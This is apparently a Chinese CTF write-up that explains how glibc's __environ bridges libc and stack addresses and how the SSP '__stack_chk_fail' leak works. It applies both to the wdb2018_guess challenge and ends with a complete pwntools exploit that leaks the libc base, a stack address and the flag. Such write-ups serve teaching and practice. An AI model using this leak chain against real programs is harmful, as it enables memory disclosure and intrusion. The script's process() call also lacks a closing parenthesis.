_environ
在Linux C中,environ是一个全局变量,它储存着系统的环境变量。
它储存在libc中
因此environ是沟通libc地址与栈地址的桥梁。
如图:即为一个程序中environ的具体信息:
environ利用
通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址。
ssp攻击
canary的各种利用方式中,有一种是通过 __stack_chk_fail
函数打印报错信息来实现。
__stack_chk_fail源码:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}
据源码可见,报错信息中会打印出libc_argv[0]
的值,而libc_argv[0]
指向的则是程序名。
若我们能够栈溢出足够的长度,覆盖到__libc_argv[0]
的位置,那我们就能让程序打印出任意地址的数据,造成任意地址数据泄露。这就是ssp攻击。
实例分析
wdb2018_guess
程序流程
-
程序将flag读到栈上,并且执行了三次
fork
函数。 -
同时有一个任意长度的栈溢出。
关于fork
函数:
fork
函数用于创建一个与当前进程映像一样的子进程,所创建的子进程将复制父进程的代码段、数据段、BSS段、堆、栈等所有用户空间信息,在内核中操作系统会重新为其申请一个子进程执行的位置。
调试偏移
找到__libc_argv[0]
与输入点之间的偏移:
在gets函数处下断点:
rdi即为输入点,而程序名即为__libc_argv[0]
所处的位置,两者的偏移为:
0x7ffe86c47748-0x7ffe86c47620 = 0x128
第一次fork:泄露libc基址
利用ssp攻击打印出puts函数真实地址:
def fork(content):
r.recvuntil(b"Please type your guessing flag")
r.sendline(content)
puts_got = elf.got["puts"]
fork(b'a'*0x128+p64(puts_got))
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
第二次fork:泄露environ所指的栈地址
通过libc与其偏移找到environ地址:
environ_addr = libc_base + libc.dump("__environ")
泄露环境变量地址:
fork(b'a'*0x128+p64(environ_addr))
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
log.success("libc_base:"+hex(libc_base))
log.success("stack_addr:"+hex(stack_addr))
第三次fork:泄露flag
断点依旧下载gets函数处:
其中 flag{you_are_a_pig}是我本地flag文件的内容
泄露出来的环境变量的地址是0x7ffc1e329638
所以flag地址与__libc_argv[0]
偏移为:
0x7ffc1e329638-0x7ffc1e3294d0 = 0x168
直接用ssp攻击泄露flag:
flag_addr = stack_addr-0x168
fork(b'a'*0x128+p64(flag_addr))
exp
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/BUUCTF/GUESS'
elf = ELF('/mnt/hgfs/ubuntu/BUUCTF/GUESS')
def fork(content):
r.recvuntil(b"Please type your guessing flag")
r.sendline(content)
puts_got = elf.got["puts"]
fork(b'a'*0x128+p64(puts_got))
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
environ_addr = libc_base + libc.dump("__environ")
fork(b'a'*0x128+p64(environ_addr))
stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))
log.success("libc_base:"+hex(libc_base))
log.success("stack_addr:"+hex(stack_addr))
flag_addr = stack_addr-0x168
fork(b'a'*0x128+p64(flag_addr))
r.interactive()